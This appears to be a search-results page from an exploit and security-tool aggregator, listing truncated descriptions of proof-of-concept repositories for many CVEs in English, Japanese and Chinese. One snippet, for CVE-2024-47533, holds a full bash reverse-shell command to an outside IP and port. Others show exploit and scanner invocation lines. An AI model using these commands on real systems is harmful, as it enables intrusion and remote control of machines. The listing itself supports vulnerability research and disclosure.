3286 matches found
web-check
Web-Check Comprehensive, on-demand open source intelligence for any website 🌐web-check.xyz Kindly supported by: Terminal Trove The $HOME of all things in the terminal | Warp Built for coding with multiple AI agents ---|--- Contents About Screenshot Live Demo Mirror Features Usage Deployment...
WordPress StageShow <5.0.9 - Open Redirect
WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...
compaXSS
CompaXSS 绕过 XSS 反射型跨站脚本 ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 开发者 Jose Pino - @jofpin Juan Eljach - @juaneljach...
CVE-2024-36527
CVE-2024-36527 PoCおよびバルクスキャナー 概要 CVE-2024-36527のPoC: puppeteer-renderer v.3.2.0以前はディレクトリトラバーサルの脆弱性があります。攻撃者はファイルプロトコルを使用してURLパラメータを悪用し、サーバーから機密情報を読み取ることができます。 セキュリティアドバイザリはZac Wang によって公開され、PoCはM Ali によって作成されました。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには: root@kitploit: python cve-2024-36527.py -...
CVE-2022-22947
王政コードに基づいて、2種類のリバースシェル、外部通信確認を追加しました。 実行時に不足しているモジュールがあれば、pipで該当モジュールをダウンロードしてください。 疑わしいURLアドレスを入力してください。ポートの後ろに「/」を付けないでください。 1. まず脆弱性が存在するか確認する デフォルトではwhoamiコマンドを実行します。多くのコマンドは結果を返さないため、whoamiが成功して結果が返ってくれば脆弱性が存在します。 返り値にrootが含まれていれば、脆弱性が確認できます。 2. リバースシェル 公開IPとポートを入力します。...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 脆弱性の概要 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486 は、Vite 開発サーバーにおける任意ファイル読み取りの脆弱性です。この脆弱性により、攻撃者は特定の URL パラメータを通じてアクセス制御を回避し、fs モジュールを介してサーバー上の機密ファイルを読み取ることができます。上記の 3 つの脆弱性は、原因が非常に似ているため、1 つのシリーズの脆弱性と見なすことができます。 CVE-2025-30208...
cve-2025-4664
CVE-2025-4664 このリポジトリには、ChromiumベースのブラウザがLinkヘッダーのプリロードリクエストを通じて機密性の高いURLパラメータを漏えいさせる脆弱性であるCVE-2025-4664を悪用するPoCが含まれています。 リソース このエクスプロイトがどのように機能するかについての詳細な説明は、ブログ記事をご覧ください: https://amalmurali.me/posts/cve-2025-4664e。 フローを理解するには、このビデオをご覧ください: ファイル target.py - 脆弱なWebアプリケーション idp.py -...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
CVE-2022-35499
Trimble TM4WEB =22.2.0 において、外部請求書ビューアエンドポイントは、URL に追加された任意のパラメータへの注入により、反射型クロスサイトスクリプティングに対して脆弱です。 ステップ 1 : 以下の URL 例は、脆弱性をトリガーし、javascript alert 関数を実行して、概念実証として数字 1 を表示します。 この脆弱性は、研究者がこれまでに観察したすべての TM4WEB インストールで動作します。 存在しないサイトを使用した悪意のある URL の例:...
CVE-2021-22941
使用方法 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 参考 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
exploit-CVE-2016-8016-25
Linux版McAfee Virus Scanの複数のリモート脆弱性 本エクスプロイトおよびこのリポジトリ内の全コードは、MCAFEEのライセンス違反に関する問題を回避するために削除されました McAfee VirusScan Enterprise for Linuxは、McAfeeによるエンタープライズ向けアンチウイルスソリューションです。Linuxベースの独自のオンアクセススキャナが、システムに対する潜在的な攻撃を常時監視します。 脆弱性 VSEL 2.0.3（およびそれ以前）は、以下の公開済みセキュリティ脆弱性の影響を受けます。ENSL...
CVE-2025-69600
CVE-2025-69600 作者: Rafael José Núñez Gulías 企業: Iberian Var Group 影響を受ける製品: RayVentory Scan Engine 12.6 Update 8 およびそれ以前のバージョン Raynet セキュリティアドバイザリ: RSEC200966 Raynet の rvia におけるコマンドインジェクションにより、攻撃者は getconfig、upload、inventory、oracle の各オプションを介してコマンドを実行できます。 バリデーションは（設定プロパティ ForbiddenCurlChars が...
composer-CVE-2026-40261-CVE-2026-40176-PoC
!CAUTION このリポジトリには、Composer の脆弱性 CVE-2026-40261 および CVE-2026-40176 に関する概念実証コードが含まれています。 !CAUTION このコードは教育およびテスト目的のみを意図しています。 !CAUTION 本番環境や、適切な許可なくシステムに対してこのコードを使用しないでください。 !CAUTION セキュリティ脆弱性をテストする前に、必ず許可を得てください。 概要 このリポジトリは、Perforce VCS ドライバーを介したコマンドインジェクションに関連する Composer の 2 つの脆弱性を実証します。 攻撃ベクトル...
CVE-2023-6895
python3 CVE-2023-6895.py -u http://target.com -c cmd...
CVE-2022-24834-
CVE-2022-24834 python exploit.py -url -port...
CVE-2025-63441
CVE-2025-63441 タイトル: エンドポイント u/administrator/friends における arbitrarily supplied URL parameter param を介した反射型XSS 概要: OSSNアプリケーションの u/administrator/friends エンドポイントにおいて、反射型クロスサイトスクリプティング XSS の脆弱性が確認されました。 この脆弱性により、攻撃者は任意に指定されたURLパラメータの名前に悪意のあるスクリプトを注入できます。 影響: ウェブサイトの仮想的な改ざんを実行する。 ユーザーが実行可能な任意の操作を実行する...
Solr-SSRF
Solr-SSRF Apache Solr SSRF Use - Apache Solr SSRF漏洞 CVE-2021-27905 - Options: root@kitploit: -h or --help : 方法说明 -u or --url : 站点URL地址 -d or --dnslog : DnsLog eg python3 CVE-2021-27905.py -u URL -d dnslog...
next_js_poisoning
CVE-2024-4698 は、Next.js のキャッシュポイズニング脆弱性であり、バージョン 13.5.1 から 13.5.7、および 14.0.0 から 14.2.10 に影響します。この問題は、Webサイトが next/image?url= API を ?url= パラメータと共に利用する際に発生し、攻撃者が自身のサーバーでホストされている画像を読み込むことが可能になります。これらのカスタム攻撃画像は、攻撃者が Ngrok や Apache サービスを停止した後でも、被害者の Webサイトに永久に保存される可能性があります。 攻撃者は Ngrok のようなトンネリングツールや...
CVE-2022-24853
CVE-2022-24853 Metabase NTLM リフレクション / リレー攻撃 CVE-2022-24853 発見に関するブログ記事: https://secure77.de/metabase-ntlm-relay-attack/ Github セキュリティアドバイザリ: https://github.com/metabase/metabase/security/advisories/GHSA-5cfq-582c-c38m POC root@kitploit:...